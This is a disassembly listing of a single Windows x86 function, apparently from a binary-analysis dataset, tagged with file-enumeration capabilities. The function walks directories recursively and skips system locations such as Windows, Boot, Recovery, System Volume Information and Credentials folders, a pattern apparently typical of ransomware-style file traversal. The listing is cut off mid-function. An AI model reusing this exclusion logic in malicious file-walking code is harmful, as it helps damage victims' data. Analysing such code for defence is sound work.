Function at 0x41af50
Capabilities:
Enumerate files on windows
Enumerate files recursively
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d7af1
mov eax, dword fs:[0]
push eax
sub esp, 0x674
mov eax, dword [0x51f164]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor esi, esi
xor edi, edi
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x418], edi
mov dword [ebp - 4], edi
push 0x8003
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 2
push 0x4ffbe0
lea ecx, [ebp + 8]
call fcn.004380d0
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp - 0x35c]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x4b4], eax
cmp eax, 0xffffffff
jne 0x41b06b
mov edx, dword [ebp + 0x1c]
cmp edx, 8
jb 0x41b014
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41b00a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8eb
push edx
push ecx
call fcn.00490c3c
add esp, 8
mov edx, dword [ebp + 0x34]
xor eax, eax
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 7
mov word [ebp + 8], ax
cmp edx, 8
jb 0x41d895
mov ecx, dword [ebp + 0x20]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41b05c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8eb
push edx
push ecx
call fcn.00490c3c
add esp, 8
jmp 0x41d895
mov ecx, dword [ebp + 0x18]
lea eax, [ebp + 8]
dec ecx
mov dword [ebp - 0x30], 0xf
cmp dword [ebp + 0x1c], 8
mov dword [ebp + 0x18], ecx
cmovae eax, dword [ebp + 8]
xor edx, edx
mov dword [ebp - 0x34], edx
mov byte [ebp - 0x44], dl
mov word [eax + ecx*2], dx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], dl
xor eax, eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov byte [ebp - 4], 5
lea eax, [ebp - 0x330]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x450]
call fcn.00439b40
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x42c], eax
add esp, 4
cmp ecx, eax
je 0x41b148
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x41b116
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41b106
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f0
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x42c]
add esp, 8
mov dword [ebp - 0x1c], 0
xor ecx, ecx
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], cx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], 7
mov word [eax], cx
mov edx, dword [ebp - 0x43c]
cmp edx, 8
jb 0x41b188
mov ecx, dword [ebp - 0x450]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41b17e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f0
push edx
push ecx
call fcn.00490c3c
add esp, 8
push str.Documents_and_Settings_
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x680]
call fcn.00439b40
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 6
or esi, 1
cmp dword [0x51fc5c], 8
mov eax, 0x51fc48
push dword [0x51fc58]
cmovae eax, dword [0x51fc48]
push eax
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x42c], esi
call fcn.004380d0
mov dword [ebp - 0x4a0], 0
xor ecx, ecx
mov dword [ebp - 0x49c], 0
or edi, 0x80
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x4b0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x4a0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x36
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x4b0]
or esi, 2
push str.Local_SettingsApplication_DataMicrosoftCredentials
mov dword [ebp - 0x420], esi
call fcn.004380d0
xor ecx, ecx
or edi, 0x100
mov dword [ebp - 0x41c], edi
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x668], xmm1
mov dword [eax + 0x10], 0
movq qword [ebp - 0x658], xmm0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov eax, dword [ebp - 0x42c]
lea ecx, [ebp - 0x668]
mov dword [ebp - 4], 8
or eax, 6
cmp dword [ebp - 0x654], 8
mov esi, dword [ebp - 0x1c]
movd edx, xmm1
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
cmovae ecx, edx
mov dword [ebp - 0x428], edx
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x42c], eax
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [ebp - 0x658]
jne 0x41b30d
test esi, esi
je 0x41b2f5
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41b30d
add ecx, 2
sub esi, 1
jne 0x41b2c6
mov edx, dword [ebp - 0x4cc]
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x438], edx
mov byte [ebp - 0x421], 1
jmp 0x41bdde
mov edx, dword [ebp - 0x4cc]
mov dword [ebp - 0x438], edx
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str.Documents_and_Settings_
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x450]
call fcn.00439b40
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 9
mov eax, 0x51fc48
mov esi, dword [ebp - 0x418]
push dword [0x51fc58]
or esi, 8
cmp dword [0x51fc5c], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [0x51fc48]
push eax
call fcn.004380d0
mov dword [ebp - 0x488], 0
xor ecx, ecx
mov dword [ebp - 0x484], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x498], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x488], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov esi, dword [ebp - 0x42c]
lea ecx, [ebp - 0x498]
mov eax, esi
mov dword [ebp - 4], 0xa
push 0x27
or eax, 0x18
push str.Application_DataMicrosoftCredentials
mov dword [ebp - 0x420], eax
call fcn.004380d0
xor ecx, ecx
or edi, 0x600
mov dword [ebp - 0x41c], edi
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x4cc], xmm1
mov dword [eax + 0x10], 0
movq qword [ebp - 0x4bc], xmm0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x4cc]
mov eax, esi
movd edx, xmm1
mov esi, dword [ebp - 0x1c]
or eax, 0x38
cmp dword [ebp - 0x4b8], 8
mov dword [ebp - 0x438], edx
cmovae ecx, edx
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x420], eax
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [ebp - 0x4bc]
jne 0x41b473
test esi, esi
je 0x41bdc8
sub edx, ecx
nop word [eax + eax]
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41b473
add ecx, 2
sub esi, 1
jne 0x41b450
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str.UsersAll_UsersMicrosoftWindowsCaches
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x5bc]
call fcn.00439b40
mov edx, eax
add esp, 4
mov dword [ebp - 0x42c], edx
mov dword [ebp - 4], 0xc
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x40
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41b4b7
mov ecx, dword [edx]
mov edi, dword [ebp - 0x42c]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41b503
test esi, esi
je 0x41bdc8
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41b503
add ecx, 2
sub esi, 1
jne 0x41b4e0
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str.ProgramData
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x650]
call fcn.00439b40
mov edx, eax
add esp, 4
mov dword [ebp - 0x42c], edx
mov dword [ebp - 4], 0xd
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x80
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41b549
mov ecx, dword [edx]
mov edi, dword [ebp - 0x42c]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41b595
test esi, esi
je 0x41bdc8
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41b595
add ecx, 2
sub esi, 1
jne 0x41b572
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str.Recovery
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x638]
call fcn.00439b40
mov edx, eax
add esp, 4
mov dword [ebp - 0x42c], edx
mov dword [ebp - 4], 0xe
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x100
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41b5db
mov ecx, dword [edx]
mov edi, dword [ebp - 0x42c]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41b627
test esi, esi
je 0x41bdc8
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41b627
add ecx, 2
sub esi, 1
jne 0x41b604
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str.ProgramDataMicrosoft
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x620]
call fcn.00439b40
mov edx, eax
add esp, 4
mov dword [ebp - 0x42c], edx
mov dword [ebp - 4], 0xf
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x200
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41b66d
mov ecx, dword [edx]
mov edi, dword [ebp - 0x42c]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41b6b9
test esi, esi
je 0x41bdc8
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41b6b9
add ecx, 2
sub esi, 1
jne 0x41b696
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str.Windows
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x608]
call fcn.00439b40
mov edx, eax
add esp, 4
mov dword [ebp - 0x42c], edx
mov dword [ebp - 4], 0x10
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x400
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x430], eax
jb 0x41b705
mov ecx, dword [edx]
mov edi, dword [ebp - 0x42c]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41b753
test esi, esi
je 0x41bdc8
sub edx, ecx
nop
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41b753
add ecx, 2
sub esi, 1
jne 0x41b730
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str.Documents_and_Settings_
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x5f0]
call fcn.00439b40
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 0x11
mov eax, 0x51fc48
mov esi, dword [ebp - 0x418]
push dword [0x51fc58]
or esi, 0x800
cmp dword [0x51fc5c], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [0x51fc48]
push eax
call fcn.004380d0
mov dword [ebp - 0x470], 0
xor ecx, ecx
mov dword [ebp - 0x46c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x480], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x470], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov esi, dword [ebp - 0x430]
lea ecx, [ebp - 0x480]
mov eax, esi
mov dword [ebp - 4], 0x12
push 0x28
or eax, 0x1800
push str.Local_SettingsTemporary_Internet_Files
mov dword [ebp - 0x420], eax
call fcn.004380d0
xor ecx, ecx
or edi, 0x1800
mov dword [ebp - 0x41c], edi
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x4e4], xmm1
mov dword [eax + 0x10], 0
movq qword [ebp - 0x4d4], xmm0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0x4e4]
mov eax, esi
movd edx, xmm1
mov esi, dword [ebp - 0x1c]
or eax, 0x3800
cmp dword [ebp - 0x4d0], 8
mov dword [ebp - 0x4e4], edx
cmovae ecx, edx
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x420], eax
cmovae edx, dword [ebp - 0x2c]
mov dword [ebp - 0x430], eax
cmp esi, dword [ebp - 0x4d4]
jne 0x41b8c3
test esi, esi
je 0x41bdc8
sub edx, ecx
nop dword [eax]
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41b8c3
add ecx, 2
sub esi, 1
jne 0x41b8a0
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str.Documents_and_Settings_
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x5d8]
call fcn.00439b40
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 0x14
mov eax, 0x51fc48
mov esi, dword [ebp - 0x418]
push dword [0x51fc58]
or esi, 0x4000
cmp dword [0x51fc5c], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [0x51fc48]
push eax
call fcn.004380d0
mov dword [ebp - 0x458], 0
xor ecx, ecx
mov dword [ebp - 0x454], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x468], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x458], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov esi, dword [ebp - 0x430]
lea ecx, [ebp - 0x468]
mov eax, esi
mov dword [ebp - 4], 0x15
push 0xb
or eax, 0xc000
push str.Start_Menu
mov dword [ebp - 0x420], eax
call fcn.004380d0
xor ecx, ecx
or edi, 0x6000
mov dword [ebp - 0x41c], edi
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x4fc], xmm1
mov dword [eax + 0x10], 0
movq qword [ebp - 0x4ec], xmm0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov dword [ebp - 4], 0x16
lea ecx, [ebp - 0x4fc]
mov eax, esi
movd edx, xmm1
mov esi, dword [ebp - 0x1c]
or eax, 0x1c000
cmp dword [ebp - 0x4e8], 8
mov dword [ebp - 0x4fc], edx
cmovae ecx, edx
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x420], eax
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [ebp - 0x4ec]
jne 0x41ba2a
test esi, esi
je 0x41bdc8
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41ba2a
add ecx, 2
sub esi, 1
jne 0x41ba07
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str.Documents_and_SettingsAll_UsersStart_Menu
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x58c]
call fcn.00439b40
mov edx, eax
add esp, 4
mov dword [ebp - 0x430], edx
mov dword [ebp - 4], 0x17
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x20000
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41ba70
mov ecx, dword [edx]
mov edi, dword [ebp - 0x430]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41bac3
test esi, esi
je 0x41bdc8
sub edx, ecx
nop dword [eax]
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41bac3
add ecx, 2
sub esi, 1
jne 0x41baa0
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str.WINDOWS
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x574]
call fcn.00439b40
mov edx, eax
add esp, 4
mov dword [ebp - 0x430], edx
mov dword [ebp - 4], 0x18
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x40000
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41bb09
mov ecx, dword [edx]
mov edi, dword [ebp - 0x430]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41bb55
test esi, esi
je 0x41bdc8
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41bb55
add ecx, 2
sub esi, 1
jne 0x41bb32
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str.Boot
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x55c]
call fcn.00439b40
mov edx, eax
add esp, 4
mov dword [ebp - 0x430], edx
mov dword [ebp - 4], 0x19
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x80000
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41bb9b
mov ecx, dword [edx]
mov edi, dword [ebp - 0x430]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41bbe7
test esi, esi
je 0x41bdc8
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41bbe7
add ecx, 2
sub esi, 1
jne 0x41bbc4
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str.System_Volume_Information
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x544]
call fcn.00439b40
mov edx, eax
add esp, 4
mov dword [ebp - 0x430], edx
mov dword [ebp - 4], 0x1a
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x100000
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x434], eax
jb 0x41bc33
mov ecx, dword [edx]
mov edi, dword [ebp - 0x430]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41bc83
test esi, esi
je 0x41bdc8
sub edx, ecx
nop dword [eax]
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41bc83
add ecx, 2
sub esi, 1
jne 0x41bc60
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str._skips.txt
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.00439b40
add esp, 4
mov dword [ebp - 0x42c], eax
sub esp, 0x18
mov dword [ebp - 4], 0x1b
mov esi, dword [ebp - 0x418]
lea eax, [ebp - 0x2c]
mov ecx, esp
or esi, 0x200000
mov dword [ebp - 0x420], esi
push eax
call fcn.004312d0
lea ecx, [ebp - 0x514]
call fcn.00418240
add esp, 0x18
mov edx, eax
mov esi, dword [ebp - 0x42c]
mov ecx, esi
mov eax, dword [ebp - 0x434]
mov dword [ebp - 4], 0x1c
or eax, 0x600000
mov dword [ebp - 0x418], eax
cmp dword [esi + 0x14], 8
mov dword [ebp - 0x420], eax
jb 0x41bd04
mov ecx, dword [esi]
cmp dword [edx + 0x14], 8
mov esi, edx
jb 0x41bd0e
mov esi, dword [edx]
mov edi, dword [ebp - 0x42c]
mov edx, dword [edx + 0x10]
cmp edx, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41bd53
test edx, edx
je 0x41bdc8
sub esi, ecx
nop dword [eax]
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x41bd53
add ecx, 2
sub edx, 1
jne 0x41bd30
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
push str.UsersDefault_ntuser.dat
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x52c]
call fcn.00439b40
mov edx, eax
add esp, 4
mov eax, dword [ebp - 0x418]
mov ecx, edx
or eax, 0x800000
mov dword [ebp - 0x434], edx
mov dword [ebp - 0x418], eax
cmp dword [edx + 0x14], 8
jb 0x41bd8c
mov ecx, dword [edx]
mov edi, dword [ebp - 0x434]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41bdd7
test esi, esi
je 0x41bdc8
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41bdd1
add ecx, 2
sub esi, 1
jne 0x41bdb1
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41bdde
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 0
test eax, 0x800000
je 0x41be53
mov edx, dword [ebp - 0x518]
and eax, 0xff7fffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41be36
mov ecx, dword [ebp - 0x52c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41be26
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x51c], 0
mov dword [ebp - 0x518], 7
mov word [ebp - 0x52c], cx
mov dword [ebp - 4], 0x1b
test eax, 0x400000
je 0x41becf
mov edx, dword [ebp - 0x500]
and eax, 0xffbfffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41beb2
mov ecx, dword [ebp - 0x514]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41bea2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x504], 0
mov dword [ebp - 0x500], 7
mov word [ebp - 0x514], cx
mov dword [ebp - 4], 0x1a
test eax, 0x200000
je 0x41bf4b
mov edx, dword [ebp - 0x590]
and eax, 0xffdfffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41bf2e
mov ecx, dword [ebp - 0x5a4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41bf1e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x594], 0
mov dword [ebp - 0x590], 7
mov word [ebp - 0x5a4], cx
mov dword [ebp - 4], 0x19
test eax, 0x100000
je 0x41bfc7
mov edx, dword [ebp - 0x530]
and eax, 0xffefffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41bfaa
mov ecx, dword [ebp - 0x544]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41bf9a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x534], 0
mov dword [ebp - 0x530], 7
mov word [ebp - 0x544], cx
mov dword [ebp - 4], 0x18
test eax, 0x80000
je 0x41c043
mov edx, dword [ebp - 0x548]
and eax, 0xfff7ffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c026
mov ecx, dword [ebp - 0x55c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c016
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x54c], 0
mov dword [ebp - 0x548], 7
mov word [ebp - 0x55c], cx
mov dword [ebp - 4], 0x17
test eax, 0x40000
je 0x41c0bf
mov edx, dword [ebp - 0x560]
and eax, 0xfffbffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c0a2
mov ecx, dword [ebp - 0x574]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c092
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x564], 0
mov dword [ebp - 0x560], 7
mov word [ebp - 0x574], cx
mov dword [ebp - 4], 0x16
test eax, 0x20000
je 0x41c13b
mov edx, dword [ebp - 0x578]
and eax, 0xfffdffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c11e
mov ecx, dword [ebp - 0x58c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c10e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x57c], 0
mov dword [ebp - 0x578], 7
mov word [ebp - 0x58c], cx
mov dword [ebp - 4], 0x15
test eax, 0x10000
je 0x41c19a
mov ecx, dword [ebp - 0x4e8]
and eax, 0xfffeffff
mov dword [ebp - 0x418], eax
cmp ecx, 8
jb 0x41c19a
mov edx, dword [ebp - 0x4fc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41c18a
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push ecx
push edx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
mov dword [ebp - 4], 0x14
test eax, 0x8000
je 0x41c216
mov edx, dword [ebp - 0x454]
and eax, 0xffff7fff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c1f9
mov ecx, dword [ebp - 0x468]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c1e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x458], 0
